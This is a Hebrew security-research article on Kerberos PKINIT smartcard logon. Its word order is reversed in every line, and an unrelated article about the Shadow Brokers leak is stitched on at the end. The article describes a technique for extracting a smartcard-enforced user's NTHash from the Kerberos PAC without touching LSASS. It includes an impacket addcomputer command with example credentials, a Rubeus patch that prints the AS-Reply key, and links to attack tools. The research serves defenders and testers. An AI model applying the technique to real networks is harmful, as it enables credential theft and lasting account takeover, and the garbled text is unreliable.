 KRB_AP_REP - ניגש שהוא ולהבין, השרת את לאמת ללקוח לתת מנת על נועד, אופציונאלי שהוא שלב 

-ה עם אותו יאמת והוא, ללקוח חזרה שנשלח authenticator הכל סך זה. למתחזה סתם ולא לשרת

server session key .ה את לפתוח הצליח השרת אם יבין הלקוח הזה האימות פי על-service ticket ,

 .מתחזה אינו הוא אם - זה פי ועל
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 עובד? PKINIT Kerberosאיך 

 לבין, הרגיל Kebreros בין ההבדלים על נסתכל, עובד Kerberos שבה האלגנטית בצורה שנזכרנו לאחר

 .PKINIT Kerberos :היום בו עוסקים אנחנו שבו extensionה

, הראשונית ההתחברות לאחר. הראשונית ההתחברות בשלב ורק אך קיים ההבדל :חשוב בדגש נתחיל

NTLM ו צורה באותה בדיוק יקרה-Kerberos ה עם יקרה-TGT ,ה את קיבלו איך משנה לא-TGT במקור. 

. שלו הבסיסית העבודה בצורת סימטרית-א בהצפנה תומך שלא פרוטוקול הוא Kerberos-ש לזכור חשוב

-כ שישמשו מפתחות והחלפת הסיסמא של hash-ה בסיס על סימטרית הצפנה בעזרת עובד הוא, כלומר

session key .עם לעבוד יידע שהוא מנת על להתבצע שצריכות התאמות כמה יש, לכן Public/Private Keys .

 ערך של אחר סוג לשלוח למשתמש מאפשר אשר, PKINIT בשם extension-ב ביטוי לידי באה הזו ההתאמה

 .למשתמש Proof of Identity-כ שמשמש הערך זהו והרי, AS-REQ-ב Pre-Authentication בשדה

, DC-ה לבין שמתחבר המשתמש בין shared secret שקיים העובדה על נשענת עובד Kerberos בה הצורה

 והצלחת הסוד ידיעת עצם כלומר. משנהו של הזהות על וריפיקציה יש הצדדים לשני בעקיפין וככה

 ההדדי האימות. KDC-ה באמת הוא server-וה, הלקוח באמת הוא שהלקוח לכך אישור מהווה ההתחברות

 שלב, כזכור) KRB_AP_REP-ה פקטת גם בנוסף נשלחת אם( 5-2 שלב) KRB_AP-ה בשלב גם קורה הזה

 אז. משותף סוד ואין, בעיה כאן נוצרת, סיסמא ללא התחברות על מדובר שלנו שבמקרה בגלל(. אופציונלי

 ?זהותנו את DC-ל נוכיח איך

 hash-ב מוצפנת הנוכחי הזמן חותמת את AS-REQ-ב Pre-Authentication בשדה יישלח - רגיל Kerberos-ב

 .המשתמש סיסמת של

 מכיל אשר PA-PK-AS-REQ מסוג ערך נשלח AS-REQ-ב Pre-Authentication בשדה - PKINIT בהתחברות

 :ההתאמתות לטובת דברים שני יש למשתמש? עובד זה איך. הקריפטוגרפית Proof of Identity-ה את

 Certificate ה. שלו הציבורי והמפתח המשתמש שם מוכל שבו-Certificate מה שקיבלת ההוכחה הוא-

CA שלך לזהות. 

 פרטי מפתח (ה שבתוך הציבורי למפתח התואם-Certificate ,)המפתח! לחלוטין סודי להיות שאמור 

-מה אותו קיבלת אכן ואתה, ל"הנ Certificate-ה של החוקי המחזיק הוא שאתה להוכיח משמש הפרטי

CA המנפיק . 
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 במפתח מוצפן Timestamp ואיזשהו, Certificate-ה את Pre-Auth-ב נשלח? זהותנו את DC-ל נוכיח איך אז

 :הבאים הדברים את ויוודא, האלו הדברים שני את יקבל DC-ה(. Replay attacks על כך מגן) הפרטי

 ה את יוודא-Certificate של רשימת בעזרת CA Public keys המפתחות היא הזו הרשימה. מחזיק שהוא 

 בעזרת Certificate-ה את לאמת ינסה הוא לכן, עליהם סומך DC-ה אשר CA-ה שרתי כל של הציבוריים

 .מאלה אחד

 ה בתוך שכתוב הציבורי המפתח את לוקח הוא מכן לאחר-Certificate ,החתימה את מוודא הוא ואיתו 

 . הפרטי המפתח את יש שלמשתמש מוודא DC-ה בעצם כך(. המוצפן Timestamp-ה) המשתמש של

 ה, הנוכחי לזמן תואם הבקשה וזמן, בהצלחה עברו הבדיקות אם-DC נרט'יג TGT שם פי על) למשתמש 

 .לנו ויחזיר (Certificate-ב הכתוב המשתמש

 :להתחברות שמשומש Certificate-ל דוגמא

 
 ]בנוסף הפרטי המפתח דרוש, להתחברות משומש להיות יכול לא לבדו Certificate-ה! זכרו[

 פרטי ומפתח Certificate באמצעות זהותו את מוכיח המשתמש PKINIT Kerberos-שב הבנו אז, אוקיי

 להתחבר ניתן ושיהיה, לגניבה ניתנת לא, בטוחה בצורה נשמרים אלו שני כיצד אבל. אליו שמקושר

 .Smartcard-ה נכנס פה. פחות Certificate אבל, בראש זוכרים סיסמא הרי?  מחשב לכל באמצעותם

 בצורה פרטיים ומפתחות X.509 בפורמט Certificate בתוכו שמכיל, קטן חומרתי רכיב הוא smartcard-ה

 הפרטי המפתחש כך בסיסיות קריפטוגרפיות פעילויות לבצע מסוגל הוא, בנוסף. וקריאה לשכתוב ניתן שלא

 מנת על Smartcard-ה של API-ה באמצעות מתממשקת ההפעלה מערכת אלא, לעמדה מגיע לא פעם אף

   .בלבד התוצאה את ומחזיר מבצע והוא, הפרטי המפתח באמצעות פעולות שיבצע לבקש
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 .כלשהו ביומטרי זיהוי או PIN לו שנספק אחרי רק שלו השירות את ייתן הוא, פראייר לא Smartcard-ה אבל

-Pre-ב אשר PA-PK-AS-REP מסוג AS_REQ בקשת תישלח, ואלידי ביומטרי מידע\pincode שהכנסנו לאחר

auth ה נמצא שלה-Certificate ,ה עם וחתימה-Private key ל שתואם-Certificate (לכל, שוב Certificate ,

 מתרחש והלאה מכאן(. Smartcard-ה על שמור הפרטי המפתח, זאת לעומת. הציבורי המפתח בתוכו כתוב

 .סטנדרטית בצורה Kerberos-ה תהליך

 ?NTHashesרגע, אז אין יותר 

 מבט מנקודת. משתמש על אחיזה להשיג כיצד להבין ננסה, PKINIT Kerberos על שצברנו ההבנה לאור

 - עצמה הסיסמא את או hash-ה את השגת אם, רגילה בהתאמתות משתמשים כאשר, תוקף של שטחית

 .לטובתנו שמשחקים דברים גם יש אבל, מורכב יותר קצת זה smartcard-ב כאן. ניצחת

 ".טוב"וה הישן Kerberos ,NTLM-ל המקביל בפרוטוקול להיזכר נצטרך, לעיל השאלה על לענות מנת על

 וזוהי, שקיבלנו Challange-ל Response חישוב לטובת הסיסמא של Hash-ה על מתבססים רגיל NTLM-ב

 PKINITאיזשהו קיים האם .פרטי ומפתח Certificate רק, סיסמא לנו אין כעת אך. שלנו הזהות הוכחת

NTLM לא היא לכך התשובה? העניין לצורך. 

 תאימות לטובת .נכון לא כמובן זה .אכוף משתמש עם בכלל NTLM עם להתאמת ניתן שלא לחשוב ניתן אז

 לדבר לדעת אמורים smartcard משתמשי גם, Kerberos-ב תומכות שלא מערכות מול אל ותמיכה לאחור

 .קורה באמת וזה, NTLM-ב

-ב להתאמת יוכל הוא שאיתו אכוף משתמש לכל NTHash זאת בכל משייך KDC-שה היא עובד שזה הצורה

NTLM .ה, ונאמר נגדיל אפילו-NThash ל ורק אך לשימוש ניתן הזה הספציפי-NTLM ל ולא-

Kerberos ! ה ההתחברות-Kerberosעם עובדת ית PKINIT ועם Certificates בלבד. 

 אין כרגע אבל. שלך Plaintext-ה סיסמת של MD4 פשוט הוא המסורתי NTHash-ה. הזה Hash-ה מהו נבין

 בכל רנדומלית נקבע שהוא מסתבר? נקבע הוא איך אז - NTHash יש עדיין אבל, רגילה סיסמא באמת לנו

 - משתמש אכפת, כלומר(. המאמר בתחילת המצורפת בתמונה Checkbox-ה) משתמש של אכיפה השמת

 .התגלגל - והחזרת אכיפה הורדת. NTLM-ב גם לתמוך שיוכל מנת על NTHash לו מגריל KDC-ה
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 התמונות שתי לקיחת בין שעשינו היחיד הדבר כאשר, שונים ים-NTHash יש משתמש לאותו כיצד נראה

 :האכיפה והחזרת הורדת הוא האלה

 

 :אחרי

 

 :אכוף כן כשהוא לעומת, אכוף לא כשהוא משתמש על שומר DC-ה פרטים לאילו קטנה דוגמא

 התחברות לטובת NTHash, LMHash, AES Keys למשתמש שיש לראות ניתן, Smartcard אכיפת לפני

Kerberos-ו רגילה ית-NTLM-ית. 

 מסירים\אותו מגלגלים לא אקטיבית עוד כל משתנה לא אכוף משתמש של Hash-ה, דיפולטית בצורה

. חודשים כמה כל תוקף פגה אשר רגילה מסיסמא Persistent יותר אפילו הוא לכן, אכיפה ומחזירים

 .מהרגיל יותר אפילו, תוקף עבור מאוד משמעותי נכס הוא אכוף משתמש של NTHash - המשמעות

-ל ההגדרה את להפעיל ניתן Domain Functional Level 2016-ב? להתגלגל Hashל גורמים זאת בכל איך

Rolling ה של אוטומטי-NTHash עם מתאמתים אשר למשתמשים PKINIT ,שניתן תפוגה תאריך בעזרת 

 את מגלגלים אשר סקריפטים בדמות אלטרנטיביים פתרונות קיימים, אחרת(. חודשיים דיפולטית) להגדיר

 .(המאמר בסוף קישורים) NTHash-ה
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 לפני:

 

 :NTHash ורק אך יש, האכיפה אחרי

  

 נשיג איך על קצת נדבר, smartcard התאמתות של במקרה לתוקף NTHash-ה משמעות את שהבנו אחרי

  אותו
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Anderson PAC 

 Smartcard אכוף למשתמש LSASS-ב נגיעה ללא NTHash הוצאת - לק;אמ

 של NTHash להוציא מאפשרת אשר טכניקה כעת נציג. בלאגן לעשות באנו אבל, ומעניין ויפה טוב הכל אז

 אשר, smartcard אכוף משתמש של לעמדה מגיע ותוקף נניח. שלו LSASS-ה בתהליך לגעת מבלי, קורבן

. LSASS-ב לגעת לנו מאפשרות לא אשר LSA Protection ו/או Credentials guard כמו הגנות שם מוחלות

 PKINITבה הצורה את מנצלת אשר בלבד תקשורתית בצורה ואלגנטי שקט מעקף מספקת הזו השיטה

Kerberos ב נחזיק, אותה שנבצע ואחרי עובד-NTHash.  

 הבא הגלגול עד המשתמש על מוחלטת לאחיזה ערך שווה, במאמר יותר מוקדם שהסברנו כפי, NTHash-ה

 Use-cases לעוד דוגמאות ואתן, שנתאר בטכניקה להשתמש ניתן בו ספציפי מקרה זה. ( יותר או פחות)

 .שנדגים לטכניקה הכרחי הכרטיס של pincode-ה .מאוד רלוונטיים

 איך הכל התחיל?

 בעזרת הזדהות .PKINIT Kerberos מתבצע כיצד הבנו ,SmartCards Authentication על מחקרנו במהלך

 Proof of-ה בתור מהווה smartcards-ה על שנמצא Certificate-ה ולמעשה, ציבוריים/פרטיים מפתחות

Identity ,מקבל משתמש, הזה התהליך של ההצלחה פי ועל TGT זה כל את. לעמדה בהצלחה ומתחבר 

, NTLM-ב להתאמת יכול אכוף משתמש שגם הוא, יודעים שאתם דבר עוד. לכאן עד הגעתם אם יודעים אתם

 מכיוון מסוים פער לנו מותיר אלו שני של השילוב. תאימות לשבור ולא Legacy במערכות גם לתמוך מנת על

 NTHash-ה את mimikatz באמצעות מהעמדה להוציא יכולנו עדיין, Smartcard-ה עם התחברות שלאחר

 שום אין NTHash-ל :נוספת פעם נדגיש. ית-NTLM להתאמתות משמש אשר(, כמובן הגנות ללא בעמדות)

 !PKINIT Kerberos בהתחברות חלק

  אבל איך הם הגיעו לשם?

 לנו חסרה, נקבעים ים-Hash-ה כיצד שהבנו אחרי אז. התעלומה את נפתור מיד. אנחנו גם? מבולבלים

 Provider-ה רגילה בהתחברות אם? שמתחבר המשתמש של לעמדה מגיעים הם כיצד - המרכזית הנקודה

 לתמוך מנת על LSASS-ב שלה Hash-ה את ולשמור הסיסמא את לקבל יודע( מקומי כמובן שהוא) NTLM של

 NTHash-ה את לדעת דרך שום אין מתחבר אתה שאליה עמדהל ,Smartcard בהתחברות אז ,SSO-ב

-ה התחברות בתהליך הזה המידע את לנו מעביר DC-שה או: הגיוניים הסברים שני רק נשארו לכן. שלך

PKINIT Kerberos (האלו הסודות את שמכיר היחיד הוא ,)בדרך השרת מלאכי כנפי על מגיע שהמידע או 

 .  לעמדה קסם
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 NTHash-מעבר ה

 שהסביר, בתחום סמכא-ברי היותר ה'החבר מאחד תשובה וקיבלנו, StackExchange-ב מזלנו את ניסינו

 בסוף יצורף המלאה ולתשובה לשאלה הקישור, קורה זה כיצד נסביר מיד. הנכונה היא הראשונה שהאופציה

 .המאמר

-ה עובר(, בהמשך בהרחבה) Service ticket-ה של PAC-ה בתוך, PKINIT Kerberos-ה בתהליך - בתמצות

NTHash .איזה ועל Service ticket ה? מדובר-Host ticket כמובן! 

 . עובר אינו והוא NTHash-ה את להעביר צורך אין רגיל Kerberos-ב :PKINIT Kerberos-ל ורק אך רלוונטי

Host Ticket? 

 הוא Host ticket-ה. הזו המתקפה של קיומה את שמאפשר הדבר זה ולמה, Host ticket-ה הוא מה נזכיר

ticket לו אין, דיפולטי SPN ה הוא ולמעשה, רשום-service ticket בעת מסוימת לעמדה מבקשים שאנחנו 

 של Computer Account Password-ה עם מוצפן הוא כי, מעולה, למעשה וזאת. אינטראקטיבית התחברות

 להיות יכול - host-ה יבוקש שאליו שהמחשב הוא, הזו השיטה את שמאפשר ומה. העמדה אותה

 host-ה את נבקש ואז, בדומיין כלשהו מחשב של Computer Account Password נצטרך לכן .בשליטתנו

ticket עליו. 

 הפרטים וכל מאחר LSASS-ב נוגעת לא שגם, פשוטה די טכניקה זו Computer Account Password הוצאת

 חלש משתמש עם להוסיף אפשר, עמדה על אחיזה להשיג הצלחנו שלא ונניח. Registry-ב שמורים

Computer account עם Addcomputer.py של impacket: 

hax0r@SDB-Kali-2020-3:~$ python3 /usr/share/doc/python3-

imacket/examples/addcomputer.py sdb.secret/caspit:Bb123456 -computer-

name ERAN$ 

Impacket v0.9.23 - C opyright 2021 SecureAuth Corporation 

[*] Successfully add machine account ERAN$ with password 

LV869HHqYivQA2JXrNY1ixIKWGefKqo8. 

 אז. לפענח ביכולתנו כלומר, בשליטתנו עמדה על הוא Host Service Ticket-שה הנחה מנקודת יוצאים אנחנו

 .הפענוח אחרי לנו מחכה בדיוק מה נבין

 Host ticket, U2U Service Ticket from itself to במקום לבקש ניתן :מדי יותר עליו ארחיב שלא בונוס

itself ,ה את ביקשנו שאיתו המשתמש של בסיסמא מוצפן והוא-Ticket .ה את לפענח נוכל הזו בצורה-

Ticket ב בלשלוט צורך ללא מבוקשנו את ולהשיג-Computer account .לחוקר הוא לטריק הקרדיט 

 .בנושא שלו במחקר אותו שהציג שמיר אלעד האבטחה
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 ?PACמה זה 

PAC, המלא בשמו או Privilege Attribute Certificate בתוך מרכיב הוא Kerberos tickets בין שאחראי 

 על נוספים פרטים לתת אמור KDC-ה, לאימות מעבר, כלומר. המשתמש של authorization-ה על היתר

, המשתמש על מידע מכיל PAC-ה. לו שיתאימו ספציפיות הרשאות לו ולתת אותו לייחד מנת על המשתמש

 Access למשתמש ליצור מנת על שדרוש מה כל כלומר, למיניהן ופריבילגיות בקבוצות חברות, ים-SID בעיקר

Token ההזדהות לאחר.  

 Authentication - זהות הוכחת, אימות. 

 Authorization - גישה הרשאות לצרכי, היישות של הזהות פירוט. 

-ה אותו את לשים יוכל DC-שה כדי? TGT-ל למה. TGT-ל ייכנס והוא, PAC-ה למבנה נארז הזה המידע כל אז

PAC בתוך service tickets לו יהיה, העניין לצורך ניגשנו שאליו קבצים שרת אצל ייפתחו הם וכאשר, עתידיים 

 . Access Tokenליצור כדי PAC-ה את

 דברים כמה ועוד(, אותו זכרו) Additional Credential Information כתוב גם PAC-ב, האלה לפרטים בנוסף

 .רלוונטיים לא

 בין כלומר, המשתמש על הפרטים את מכיל המוצפן החלק שבו ,TGT, המחשה אחלה לראות ניתן בתמונה

 :PAC-ה על חתימות וגם ,PAC-ה את היתר
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Deep Diving 

 Struct שמכיל ,AD-IF-RELEVANT של מסוג Struct מכיל הוא. בתמונה כמו יותר הרבה נראה PAC-ה בפועל

 :המעניינים המבנים הם בתוכם שנמצא ומה ,wrappers-ה בתור מתפקדים שהם ,AD-WIN2K-PAC בשם

 

 אשר PAC_INFO_BUFFER-ה מבני מיד מגיעים ולאחריו ,PAC-ה של Header-ה הוא PACTYPE המבנה

-ה אותו של data type-ה מהו מגדיר וגם buffer-ל כמצביע משמש מהם אחד כשכל, במערך מסודרים

buffer ל לאפשר מנת על-PAC מידע של שונים סוגים להכיל. 

 PACTYPE - בתור משמש Header ה לקראת-PAC_INFO_BUFFER ,ה. מדי יותר בו ואין-cBuffers 

, ים-PAC_INFO_BUFFER של מערך כבר הוא buffers-וה, PAC_INFO_BUFFER-ה מספר על מצביע

 .עליהם נפרט שמיד

 PAC_INFO_BUFFER- כ משמש-Header של Info Buffer. ה גודל את מכיל-buffer ה ואת-offset שלו ,

 .Buffer-ב שיש המידע סוג מהו שמתאר ,buffer type-ה את מכיל, חשוב והכי

 0x2'(, וכו ים-SID) משתמש לזיהוי שדרוש מידע פירושו 0x1, המעניינים הסוגים את את לראות ניתן בתמונה

 .הלאה וכן Checksum פירושם 0x6-0x7-ו additional credential information פירושו

 

 אנחנו בכלל למה וניזכר, במאמר אחורה נחזור, לא גם אבל, זה בשלב נדלקו שלך הנורות שכל מקווה

 שיכיל PAC Buffer-ה את למצוא רוצים שאנחנו בגלל זאת. PAC-ה של האלה הסבוכים המבנים בכל חופרים
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 עד ים-PAC_INFO_BUFFER-ה כל על לרוץ נצטרך, בפועל או. לנו מובטח אשר הנכסף NTHash-ה את

 .PAC Credentials מכיל אשר Type 0x2 עם Buffer על שמצביע האחד את שנמצא

PAC Credentials 

, זורק סתם) אלטרנטיביים לפרוטוקולים שמתאימים Credentials להעברת מיועד PAC-ב הזה המבנה

NTLM )ההתחלתית בהתחברות ששומשו מאלו (Kerberos PKINIT). שהוא שבגלל כשגילינו ליבנו נכמר 

 .בהמשך זה את נתקל אנחנו! המוצפן Ticket-ה בתוך עצמו בפני מוצפן גם הוא, רגישים מאוד פרטים מכיל

 

 PAC_CREDENTIAL_INFO - ה בתור כאן המשמש, החיצוני המבנה- Header(מוצפן אינו ,)מכיל אשר 

 הם הנפוצים ההצפנה סוגי. המוצפן Data-ה שאר ואת ההצפנה סוג את

AES256_CTS_HMAC_SHA1_96 ו-RC4. 0 בהתאמה הם שלהם הערכיםx12 0-וx17. ה-Data המוצפן 

 .PAC_CREDENTIAL_DATA המבנה כבר הוא

 PAC_CREDENTIAL_DATA (מוצפן )- ה כל של מערך מכיל-SECPKG_SUPPLEMENTAL_CRED ואת 

 .במערך (Creds-ה סוגי) האיברים מספר

 SECPKG_SUPPLEMENTAL_CRED - ה את מכיל-Package name ה משויך שאליו-Credential ,ומצביע 

 .עצמם Credentials-ל( וגודל)

 NTLM_SUPPLEMENTAL_CREDENTIAL - מכיל - הוא כן כשמו Credentials התאמתות עבור נוספים 

NTLM-ה את ניקח מפה.  פגיעה בול. ית-NtPassword ה זה! וסיימנו-NTHash הנחשק. 
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 ?PAC_CREDENTIAL_DATA-הכיצד מפענחים את 

 מוצפן PAC_CREDENTIAL_DATA-ה (,Ticket-ה בתוך בכללי) מוצפן PAC-שה לכך בנוסף :ממקודם שיש חוב

 יכול( כמובן DC-ה על שנמצא) Ticket Granting Service-ה במה, השאלה נשאלת. PAC-ה בתוך עצמו בפני

 מסתבר אז(. DC-ה לבין בינינו shared secret קיים לא הרי? )לפענח יוכל הלקוח שרק כך זה את להצפין

 משמש והוא, eyK Replay SA-ה נקרא והוא, REP-S REQA-ה במהלך שמוחלף Diffie Helman מפתח שיש

 . Service ticket-ה בתוך PAC_CREDENTIAL_DATA-ה להצפנת

 Host service ticket-ה בקשת אז, אינטראקטיבית להתחברות רק רלוונטית NTHash-ה שהעברת מכיוון

-ה את לפענח ויידע, DH Key-ה את בצד ישמור הלקוח, כלומר. AS-ה סיום אחרי מיד תתרחש

PAC_CREDENTIAL_DATA ה בקבלת מיד-TGS-REP ,ה כל את בזכרון ישמור-Creds ה את ויזרוק שחשובים-

DH Key לתפוס, כלומר  .לפח Host Service Ticket עצמו בפני מספיק אינו! 

 Diffie-ב להחליף מנת על, כן גם TGT-ה בקשת את בעצמנו ליזום נצטרך המתקפה שלביצוע משתמע מכאן

Hellman בעצמנו AS Replay Key ,ה עם לבקש-TGT ה את שקיבלנו-Host Service Ticket ל-Host לנו שיש 

 .שלו PAC-ה שבתוך PAC_CREDENTIAL_DATA-ה את וגם Ticket-ה את גם לפענח נוכל ומשם, עליו אחיזה

 שתדפיס Rubeus של askTGT לפונקציה פשוטה הדפסה פקודת להוסיף הוא לעשות שנותר מה, זה בשלב

 :בצד נשמור אותו, AS Replay Key-ה את

key = 

pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPubl

icKey.DepadLeft(),new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, 

GetKeySize(etype)); 

 //OFIR ADDED THIS 

 Console.WriteLine("\r\n[*] AS-Reply Key: {0}\r\n", 

Convert.ToBase64String(key)); 
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 דוגמא מלאה

 לבקש חייבים אנחנו, כל קודם .פרקטית דוגמא עם להבין טוב הכי אז, מונחים והרבה מבנים הרבה זה, כן

TGT עם askTGT ,של הערוכה הגרסה בעזרת Rubeus ה את בצד ששומרת-AS-Replay key .יחזור הוא 

 לנו יש אליו, לבחירתנו host-ל Host service ticket-מ אחר לא שהוא, TGS נבקש TGT-ה עם. יותר מאוחר

 .מתחילים ויאללה, Computer Account Password-ה את

 Host Service Ticket-ה את לפענח מנת על Github-מ היישר decryptKerbTicket.py-ב נשתמש הבא לקסם

 אליו Computer account-ל הסיסמא ואת kirbi בפורמט Ticket-ה את מעבירים אנחנו כאשר, שקיבלנו

 :Ticket-ה התבקש

 

 (:חלק לעבוד כדי impacket 9.18-ו Python2.7 דרש decryptKerbTicket.py מנסיוני) נפענח

 ואת PAC-ה מבני חלקי את hxd-ב לראות ניתן .איתו לעבוד ונמשיך מהפלט המפוענח Ticket-ה את נשלוף

 :ערכיהם

 ה - שחור- PACTYPE(ה מספר, הראשונים השדות שני את בו לראות ניתן-PAC_INFO_BUFFER שהוא 

 (2 שהוא Version-וה, 2

 ה ששת כל של מערך יש מכן לאחר-PAC_INFO_BUFFER ,הראשונים שני את רק סימנתי. 

 ה - אדום-PAC_INFO_BUFFER ה של-KERB_VALIDATION_INFO (0 גודל, 1 סוגx01D8 ,0אופסטx68  .)

 '.וכו ים-SID מכיל

 ה - כחול-PAC_INFO_BUFFER ה של-PAC_CREDENTIAL_INFO (0 גודל, 0 סוגx90, 0אופסטx240  ,)

 .התכנסנו שלשמו מה את מכיל
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 :0x90 של buffer שם וניקח 0x240 של offset-ל נלך

 

. RC4 הצפנה סוג כלומר, EncryptionType - 0x00000017-ה את, Version - 0x00000000-ה את לראות ניתן

 נפענח. PAC_CREDENTIAL_DATA הוא הלא, המוצפן blob-ה הוא הכתומים בין שמתוחם מה כל, מכן לאחר

 בצד ששמרנו AS-Replay key הוא בפענוח מפתח כאשר, Impacket מבוסס פשוט פייתון סקריפט עם

 :התהליך מתחילת

 

 ומה, package name - NTLM-ה את hex-ב לראות ניתן אבל, עליו נתעכב שלא encoding קצת יש מפה

 .הנכסף NTHash-ה הוא, שמסומן

-ב הבא Repo-ב יימצא, המתקפה את המממש וסקריפט, ההדגמה לאורך הבינאריים הקבצים כל

ithubG :https://github.com/e99ran/Anderson_PAC.py 

 

Use-Cases נוספים 

, PKINIT Kerberos התאמתות לתקוף נצטרך שבו תרחיש בכל כעת עליה שפירטנו בטכניקה להשתמש נוכל

 .smartcard שמחבר משתמש מלבד מקרים בעוד קורה כמובן וזה

 בהינתן משתמש על אחיזה השגת שמאפשר כלי הוציא שמיר אלעד בשם ישראלי אבטחה חוקר ממזמן לא

 שמאפשר, Windows hello המנגנון את שממנפת שיטה זו - בקצרה. AD Attributes-ל לו לכתוב הרשאות

 התואם, ציבורי מפתח למשתמש שנשמר כזו בצורה עובד המנגנון. CA אין בה בסביבה ביומטרית הזדהות

https://github.com/e99ran/Anderson_PAC.py
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, Key-Pair באמצעות SSH של הזדהות מזכירה שמאוד בצורה, המשתמש אצל שנשמר פרטי למפתח

, PKINIT Kerberos בעזרת מתרחשת כמובן תהיתם אם, ההזדהות. Certificate-ב הצורך את ומייתרת

 אם גם, המשתמש של NTHash-ה את נתון רגע בכל להוציא נוכל זה במאמר שתוארה המתקפה ובעזרת

 !סיסמא משנה הוא

(, דומיינית בסביבה CA-ל יMicrosoftה המימוש) ADCS-ה שרת את לתקוף הצלחנו אם הוא נוסף מקרה

-ה את לקבל מנת על הזה Ceritificate-ב להשתמש נוכל. בדומיין שהוא למשתמש Certificate ולקבל

NTHash על לתקיפה דוגמא. נתון רגע בכל שלו ADCS - NTLM Relay מה-DC ה לממשק-HTTP ה של-ADCS 

 .לבחירתנו Certificate קבלת לטובת

 :ומרחיבה נוספת לקריאה

 :שמיר אלעד של הראשונה הטכניקה את שמממש הכלי

https://github.com/eladshamir/Whisker 

whitepaper בנושא ADCS ספורים חודשים לפני ממש יצא אשר עליו ומתקפות: 

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf 

 :NTLM Relay בעזרת Certificate-ה הנפקת את שמממש כלי

https://github.com/bats3c/ADCSPwn 

 טרח ולא, שנים 6 לפני Kekeo-ב זה את שילב דלפי מין'שבנג גיליתי, המחקר סיום לאחר - בונוס עובדת

 : הבא בציוץ מלבד?( אחרת חשבתם באמת) מקום באף זה את לכתוב

https://twitter.com/gentilkiwi/status/826932815518371841?lang=he 

 סיכום

 ועל שלה יםUse-caseה על, בזכרון נגיעה ללא NTHash להוצאת מתקדמת טכניקה על במאמר דיברנו

 .אפשרית שהיא הסיבות

. תיעוד כמעט עליה היה לא המחקר את וכשביצעתי, האחרונות בשנים לרדאר מתחת נותרה הזו השיטה

 כמה והתפרסמו(, ויותר יותר רלוונטי ונהיה) תאוצה תפס Active-Directory-ב Certificates-ה תחום מאז

 או Dirkjan של PKINIT Tools: להשתמש תוכלו ובהם שיצאו החדשים המימושים. בנושא וכלים מחקרים

 .0.2 גרסא, Rubeus של האחרונה בגרסה

 בעתיד שמדובר וייתכן, מרשימה תאוצה תופס עליו והתקיפות ADCS בעזרת ההתאמתות תחום, בכללי

 אז, לא ואם, לתחום טובה פתיחה נקודת איזשהי כאן לתת שהצלחתי מקווה. AD-ה תקיפות של הקרוב

 .מעניין שהיה לפחות

https://github.com/eladshamir/Whisker
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/bats3c/ADCSPwn
https://twitter.com/gentilkiwi/status/826932815518371841?lang=he
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 קצת עליי ותודות

 שעזר, אופירטל, לצוות לחברי להודות רוצה .אבטחה וחוקר AD בסביבות Pentester, 00 בן, נחשון ערן

 לי שלחו, בכלל או למאמר בהקשר הערה או שאלה לכל. ותותח טוב חבר גם והוא, המחקר במהלך הרבה

DM ב-twitter : 

https://twitter.com/NahshonEran  

 :במייל או

eerann9@gmail.com 

 מקורות

https://security.stackexchange.com/questions/246304/how-ntlm-sso-is-preformed-on-

smartcard-Kerberos-logon 

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-

9c23-edaaa5f36962 

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-

4008-a75f-a577fa5e8c5b 

https://datatracker.ietf.org/doc/html/rfc4556.html 

https://gist.github.com/xan7r/ca99181e3d45ee2042425f4f9181e614 

 

 :NTHash Rolling for PKINIT Users לגבי

https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-

management/whats-new-in-credential-protection 

https://www.stigviewer.com/stig/active_directory_domain/2016-12-20/finding/V-72821 

 

 

  

https://twitter.com/NahshonEran
https://security.stackexchange.com/questions/246304/how-ntlm-sso-is-preformed-on-smartcard-kerberos-logon
https://security.stackexchange.com/questions/246304/how-ntlm-sso-is-preformed-on-smartcard-kerberos-logon
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b
https://datatracker.ietf.org/doc/html/rfc4556.html
https://gist.github.com/xan7r/ca99181e3d45ee2042425f4f9181e614
https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection
https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection
https://www.stigviewer.com/stig/active_directory_domain/2016-12-20/finding/V-72821
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Territorial Dispute - כשסוכנויות ביון רבות על חנייה 
 ארמרמן יהב מאת

 
 מבוא

, ובו קישור Pastebinמפרסם עמוד @" shadowbrokerss" בשם בטוויטר משתמש, 0212 לאוגוסט 13-ב

 :לפרוייקט גיטהאב ביחד עם המסר הבא

"!!! Attention government sponsors of cyber warfare and those who profit from it !! 

How much you pay for enemies cyber weapons? Not malware you find in networks. Both sides, 

RAT + LP, full state sponsor tool set? We find cyber weapons made by creators of stuxnet, 

duqu, flame. Kaspersky calls Equation Group. ... We give you some Equation Group files free, 

you see. This is good proof no? You enjoy!!! You break many things. You find many intrusions. 

You write many words. But not all, we are auction the best files." 

 תקיפה כלי למכור מציעה" The Shadow Brokers": עצמה את המכנה, קבוצה אותה, קלוקלת באנגלית

 המותקנים ריגול כלי או ותתוכנ, Malware סוגי שלושה - Flame-ו Duqu ,Stuxnet של היוצרים ידי על שנוצרו

 - מביניהם הראשון כאשר, בהם המבצעי והשימוש המורכבות מבחינת מהפכניים שהיו, מחשבים על

Stuxnet ,אירוע, 0212-ב איראן, בנתנז הגרעיני הכור כנגד הסייבר תקיפת אירועי בהקשר בישראל מוכר 

 .אויבותייה כנגד ישראל שמקיימת הסייבר במלחמת רשמית' פתיחה יריית' מסמל שבעיניי

 "The Shadow Brokers "שחברת בשם משתמשת Kaspersky הנגדית לקבוצה שייכה-"Equation Group ,"

